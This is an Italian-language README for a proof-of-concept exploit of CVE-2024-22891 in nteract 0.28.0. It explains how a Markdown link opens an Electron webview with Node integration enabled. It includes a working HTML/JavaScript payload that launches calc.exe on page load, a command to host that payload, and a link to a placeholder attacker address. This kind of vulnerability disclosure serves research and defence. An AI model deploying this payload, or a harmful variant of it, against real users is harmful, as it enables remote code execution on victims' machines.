Nteract PoC

Una prova di concetto per la vulnerabilità CVE-2024-22891.

nteract 0.28.0 consente la webview Electron tramite link Markdown, con conseguente esecuzione di codice in remoto.

In questo repository è presente un'applicazione vulnerabile di esempio e il relativo exploit proof-of-concept (POC). Come PoC è incluso un file Python che automatizza il processo.

1.Panoramica della vulnerabilità:

Oggetto della vulnerabilità: RCE tramite link Markdown
Tipo di vulnerabilità: Altro: Open Redirect
Manifestazione del problema: Electron Webview
Componente interessato: markdown
Tipo di attacco: Esecuzione di codice in remoto
Vettori di attacco: Per sfruttare la vulnerabilità, qualcuno deve fare clic sul link o accedere al link del progetto condiviso.
Numero CVE riservato: CVE-2024-22891

2. Causa della vulnerabilità:

nteract 0.28.0 consente la webview Electron tramite link Markdown, con conseguente esecuzione di codice in remoto (poiché nodeIntegration in webPreferences è true).
Spiegazione dell'exploit
- Quando si generano link tramite Markdown all'interno dell'applicazione, viene creata una WebView tramite Electron, consentendo l'accesso esterno al link. Di conseguenza, un attaccante può ottenere l'esecuzione di codice in remoto (RCE) collegandosi al link che punta al server dell'attaccante.

Prova di concetto (POC)

Passo 1) L'attaccante crea un server con il codice sorgente per avviare calc.exe usando la funzione openExternal().

<html>
<head>
    <title>jruru Link</title>
</head>
<body>
    <a id="jruruLink">jruru Link</a>

    <script>
         // Script function definition
        function openExternal() {
            try {
                const { shell } = require('electron');
                shell.openExternal('file:C:/Windows/System32/calc.exe');
            } catch(e) {
                alert('JRURU - External link cannot be opened.');
                console.error(e);
            }
        }
        // Automatically execute openExternal function after the page is loaded
        document.addEventListener('DOMContentLoaded', function() {
            openExternal();
        });
    </script>
</body>
</html>

Nota: ※ Se vuoi testarlo rapidamente, crea un server sul PC dell'attaccante con il seguente codice.

$ python -m http.server 80

Passo 2) Esegui l'applicazione nteract sul sistema della vittima e crea un link Markdown, oppure condividi il file ipynb dell'attaccante come codice di esempio. Quindi, esegui calc.exe.

[Read This] (http://[attcker_adress]/shard_data.html)

neteract nteract2

3. Informazioni aggiuntive

Quando si esegue un file .ipynb tramite la condivisione di file, prestare attenzione perché il collegamento potrebbe non essere visibile. Questo calc.exe avrebbe potuto essere qualsiasi payload dannoso, locale o remoto, che avrebbe potuto dare all'attaccante pieno accesso al sistema della vittima.

CVE-2024-22891